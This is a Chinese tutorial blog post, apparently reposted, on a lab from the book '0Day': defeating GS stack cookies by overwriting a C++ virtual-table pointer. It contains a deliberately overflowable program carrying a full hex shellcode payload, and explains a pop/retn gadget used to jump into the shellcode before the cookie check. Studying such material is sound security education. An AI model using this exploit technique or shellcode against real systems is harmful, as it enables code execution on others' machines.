《0Day》之通过覆盖虚表指针来突破GS
對于棧溢出,微軟做了GS防護,就是在函數(shù)棧幀初始化之后,生成一個隨機的cookie,將其保存在EBP之前,同時在.data中也保存一份,在函數(shù)返回之前,先檢測棧中cookie的值,如果我們還用之前棧溢出的方式,通過shellcode覆蓋函數(shù)返回地址來達到溢出的目的,這時必然會覆蓋掉棧中的cookie,這樣的溢出就會被檢測到,也就無法達到溢出的目的。但是正所謂你有張良計,我有過墻梯,GS的檢測要在函數(shù)返回之前才進行,如果在還沒到檢測之前就實現(xiàn)溢出,那GS不就也只能干看著了嗎。要實現(xiàn)在GS檢測之前就實現(xiàn)溢出,還是有幾種方案的,《0Day》中就提到了通過覆蓋虛表指針和異常的方式來實現(xiàn),這里先說覆蓋虛表指針的方式。
在C++中,虛表指針是個一維數(shù)組,位于類對象指針之前,也就是說,虛表指針 = 類對象指針 - 4。為了研究虛表指針的溢出,我們需要對它的內(nèi)存布局有一定的了解,先通過一個小程序來分析它的內(nèi)存布局。代碼如下
#include "stdafx.h" #include <string.h>class GSVirtual { public:void gsv(char *src) {char buf[200];strcpy(buf, src);vir();}virtual void vir() {} };int main() {GSVirtual test;test.gsv("\xB3\x1C\x92\x7C\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1" "\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E""\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33""\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2""\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C""\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38""\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B""\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03""\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1""\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24""\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B""\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB""\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E""\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74""\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\x1a\x41");return 0; }上面這段也是《0Day》中的代碼,我們把它編程一個release版,然后放到OD中去分析。如下圖
我們再來看ecx指向的棧布局,如下圖
可以看到,虛表指針位于函數(shù)參數(shù)之下,我們可以通過在棧中覆蓋一大段shellcode的方式來把虛表指針給覆蓋掉,這樣就可以實現(xiàn)溢出了。可能有的人會不理解,覆蓋掉虛表指針,那豈不是連函數(shù)返回地址都覆蓋了,不是說有GS檢測么?雖然覆蓋了函數(shù)地址,但是在調(diào)用虛函數(shù)的時候,這個函數(shù)還沒返回,也就是說還沒到GS檢測的地方,我們就已經(jīng)溢出去執(zhí)行shellcode了。
至于覆蓋的方式,我們可以通過覆蓋虛表指針,讓其變成指向函數(shù)參數(shù)的shellcode,但是這里面臨著一個問題,就是這里有一個call操作,我們需要在這個call之后,還能跳轉(zhuǎn)到shellcode中去執(zhí)行,而且這里又不適用jmp esp這樣的指令,因為我們原始的參數(shù)不在棧中,是無法通過jmp esp跳轉(zhuǎn)過去的。不過我們可以跳轉(zhuǎn)到之前復(fù)制到內(nèi)存中的shellcode去,我們通過觀察棧可以看到,當(dāng)前esp指向的正是我們復(fù)制到內(nèi)存中的shellcode的地址。如圖
既然call會執(zhí)行一個push指令,那我們是不是可以通過pop指令來實現(xiàn)讓esp指向shellcode地址,然后通過retn指令把shellcode地址彈到eip,這樣,就可以實現(xiàn)跳轉(zhuǎn)了。通過在模塊中找到一組pop retn的指令序列,把它的地址寫入shellcode開始的地方,這里找的是0x7c921cb3,這樣當(dāng)執(zhí)行虛函數(shù)時,call的是0x7c921cb3這個地址,然后里面執(zhí)行了一個pop指令,讓esp指向shellcode地址,然后通過retn就可以跳轉(zhuǎn)到shellcode中去執(zhí)行了。
總結(jié)
以上是生活随笔為你收集整理的《0Day》之通过覆盖虚表指针来突破GS的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Tian Ji -- The Horse
- 下一篇: 开机出现Oxc000000e故障的解决方